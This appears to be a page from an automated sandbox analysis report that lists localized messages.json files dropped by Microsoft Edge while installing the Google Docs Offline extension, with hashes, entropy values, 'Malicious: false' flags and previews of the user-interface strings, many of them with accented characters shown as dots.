Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
